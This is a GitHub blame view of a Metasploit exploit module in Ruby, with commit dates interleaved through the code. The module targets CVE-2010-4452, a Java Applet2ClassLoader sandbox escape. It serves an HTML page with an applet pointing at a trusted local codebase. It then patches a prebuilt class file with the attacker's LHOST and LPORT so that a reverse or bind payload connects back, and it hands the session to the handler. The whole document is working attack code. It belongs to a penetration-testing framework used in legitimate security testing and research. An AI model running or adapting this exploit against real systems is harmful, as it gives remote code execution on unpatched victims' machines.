Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

167 lines
5.0 KiB
Ruby
Raw Permalink Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Java Runtime Environment
2025-06-20 13:20:44 +01:00
that allows an attacker to run an applet outside of the Java Sandbox. When
an applet is invoked with:
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
1. A "codebase" parameter that points at a trusted directory
2. A "code" parameter that is a URL that does not contain any dots
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
the applet will run outside of the sandbox.
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
This vulnerability affects JRE prior to version 6 update 24.
},
'License' => MSF_LICENSE,
'Author' => [
'Frederic Hoguin', # Discovery, PoC
2025-06-20 13:20:44 +01:00
'jduck' # Metasploit module
],
2025-06-20 13:20:44 +01:00
'References' => [
[ 'CVE', '2010-4452' ],
[ 'OSVDB', '71193' ],
2013-10-21 15:07:07 -05:00
[ 'ZDI', '11-084' ],
[ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
],
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
2025-06-20 13:20:44 +01:00
{
'ConnectionType' => '-find'
}
},
2025-06-20 13:20:44 +01:00
'Targets' => [
# OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
# FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
2025-06-20 13:20:44 +01:00
[
'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
2025-12-17 17:11:13 -05:00
'Platform' => 'java'
}
],
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# Native payloads aren't currently supported (only work with jar/war)
=begin
[ 'Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
}
],
=end
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2011-02-15',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
register_options(
[
# This is the default for a 32-bit Windows install
2025-06-20 13:20:44 +01:00
OptString.new('LIBPATH', [
2025-12-17 17:11:13 -05:00
false, 'The codebase path to use (privileged)',
'C:\\Program Files\\java\\jre6\\lib\\ext'
2025-06-20 13:20:44 +01:00
]),
]
)
end
2013-08-30 16:28:54 -05:00
def exploit
2025-12-17 17:11:13 -05:00
path = [ Msf::Config.data_directory, 'exploits', 'cve-2010-4452', 'AppletX.class' ].join(::File::SEPARATOR)
@java_class = nil
2025-12-17 17:11:13 -05:00
File.open(path, 'rb') do |fd|
@java_class = fd.read(fd.stat.size)
2025-12-17 17:11:13 -05:00
end
if !@java_class
fail_with(Failure::Unknown, 'Unable to load java class')
end
2013-08-30 16:28:54 -05:00
super
end
2013-08-30 16:28:54 -05:00
def on_request_uri(cli, request)
2025-06-20 13:20:44 +01:00
# print_status("Received request: #{request.uri}")
2013-08-30 16:28:54 -05:00
jpath = get_uri(cli)
2025-06-20 13:20:44 +01:00
# print_status(jpath)
2013-08-30 16:28:54 -05:00
# Do what get_uri does so that we can replace it in the string
2012-04-20 13:31:42 -06:00
# This could proably use the Host header from the request
host = Rex::Socket.source_address(cli.peerhost)
host_num = Rex::Socket.addr_aton(host).unpack('N').first
code_url = jpath.sub(host, host_num.to_s)
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
codebase = 'file:' + datastore['LIBPATH']
2013-08-30 16:28:54 -05:00
config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
# The java payloads decide to be reverse if LHOST is set.
config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
config_off = 0x10e
2013-08-30 16:28:54 -05:00
cn_off = 0x2f76
2013-08-30 16:28:54 -05:00
case request.uri
2013-08-30 16:28:54 -05:00
when /\.class$/
# NOTE: the payload for this module is implemented in the .class file directly.
#
# This is due to the following:
# 1. The file must be a single .class file
# 2. The class inside must derive from Applet
#
# As such, we do not use the traditional payload generation facilities.
2011-03-18 00:52:58 +00:00
# However, we call the following so that bind payloads will properly
# connect to the client instead of using RHOST
2025-12-17 17:11:13 -05:00
regenerate_payload(cli)
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
print_status('Sending .class file')
2013-08-30 16:28:54 -05:00
cls = @java_class.dup
2025-06-20 13:20:44 +01:00
cls[config_off, 2] = [config.length].pack('n')
cls[config_off + 2, 8] = config
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
cn_off += (config.length - 8) # the original length was 8 (CONFIGZZ)
cls[cn_off, 2] = [code_url.length].pack('n')
cls[cn_off + 2, 7] = code_url
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# File.open('ughz.class', 'wb') { |fd| fd.write cls }
2013-08-30 16:28:54 -05:00
2025-12-17 17:11:13 -05:00
send_response(cli, cls, { 'Content-Type' => 'application/octet-stream' })
handler(cli)
2013-08-30 16:28:54 -05:00
else
2025-06-20 13:20:44 +01:00
html = <<~EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
2025-12-17 17:11:13 -05:00
print_status('Sending HTML')
send_response_html(cli, html)
end
end
end